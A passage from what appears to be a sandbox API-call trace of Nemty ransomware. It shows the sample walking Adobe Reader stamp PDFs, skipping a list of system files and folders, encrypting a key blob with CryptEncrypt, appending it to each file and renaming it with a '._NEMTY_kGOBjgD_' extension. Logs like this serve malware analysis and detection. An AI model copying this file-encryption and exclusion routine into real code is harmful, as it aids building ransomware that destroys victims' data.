| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0190.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0190.177] Sleep (dwMilliseconds=0x5) [0190.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x25005f50, dwHighDateTime=0x1d561e8)) [0190.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x25005f50, dwHighDateTime=0x1d561e8)) [0190.178] GetLastError () returned 0x0 [0190.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.178] GetLastError () returned 0x0 [0190.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.178] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.178] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.179] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0190.179] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="VAtbT/wGhXtzxXc00f3ADD3WWfPTrTIEzn5tQNrBHZIpmzKmZtnR8tD+T5FGbXEX\r\n8RQWaYiwajkbxTRKRe6ZaFtFG8sBOs6RCvajEIZqpGXcni/sdNWX1ux2Urdrx6XO\r\nnrtBa1vuq9ULv1rR8hsIEtbgvAbYXTbFY0Y0fEuJ23d5ynBJTmsOc/sPKaqZx+zg\r\nQ+XpoYugb7kbiTKpQGUAspx952sFE2aEQ+1Xh8rBtHYZD/57TO1UGy14Hjl601Y+\r\nipdiTJC0iXzhaI9yvagcs85GCX23hAiO5K1ajjilDkhh0J41AYgN2nBcWboazpiU\r\nCoiD3q/lBbm1/IHAUDSOVQ==\r\n", pcchString=0x653df5c) returned 1 [0190.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0190.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.179] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=33013) returned 1 [0190.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80f0) returned 0x6352c48 [0190.179] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.179] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x80f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x80f0, lpOverlapped=0x0) returned 1 [0190.184] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.185] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x80f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x80f0, lpOverlapped=0x0) returned 1 [0190.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.185] SetFilePointer (in: hFile=0x320, lDistanceToMove=33013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80f5 [0190.185] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.185] CloseHandle (hObject=0x320) returned 1 [0190.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0190.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0190.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.185] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf._nemty_kgobjgd_")) returned 1 [0190.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0190.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.186] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0190.186] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0190.187] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.187] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0190.187] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0190.187] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0190.187] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0190.187] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.187] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0190.187] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0190.187] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0190.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0190.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0190.187] Sleep (dwMilliseconds=0x5) [0190.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2502c0b0, dwHighDateTime=0x1d561e8)) [0190.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2502c0b0, dwHighDateTime=0x1d561e8)) [0190.194] GetLastError () returned 0x0 [0190.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.194] GetLastError () returned 0x0 [0190.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.195] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.195] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.196] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0190.196] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="qk6q7WtQmZlOqMCk6nPGknuAryS1mggyxUam+RXIZvI4dNdsaXH5pm8R5PxAYDjy\r\necfnVV06wxbbRrlpY695u/qtO+zIMimExBFU5Jgy5wG0Yvrjp+YY+Po6OGmhvDaY\r\nHOTsNh3egNSjoMaQ6KWlks/rVpyTN5f6+K45Sfm1qeiUnYG7MAsYBUfD6fl/XL4S\r\nLo3FgKISQ42Qae3d/lioUZhGsTHj/o0IJz8yfzUz4GQFnZ3wDrumi9kUyHdKdEqu\r\nsZeonrvoI45KFpD5U2V7D2xWNePJWw/hoa18l90hHd6+IypGguA5b1hkLyfF2JQI\r\nNv0dGuB4yVQuIn9dOowcyA==\r\n", pcchString=0x653df5c) returned 1 [0190.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0190.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.198] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46897) returned 1 [0190.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb730) returned 0x6352c48 [0190.200] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.200] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb730, lpOverlapped=0x0) returned 1 [0190.205] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.205] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb730, lpOverlapped=0x0) returned 1 [0190.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.205] SetFilePointer (in: hFile=0x320, lDistanceToMove=46897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb731 [0190.205] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.205] CloseHandle (hObject=0x320) returned 1 [0190.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0190.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.206] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.207] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb189, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0190.207] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 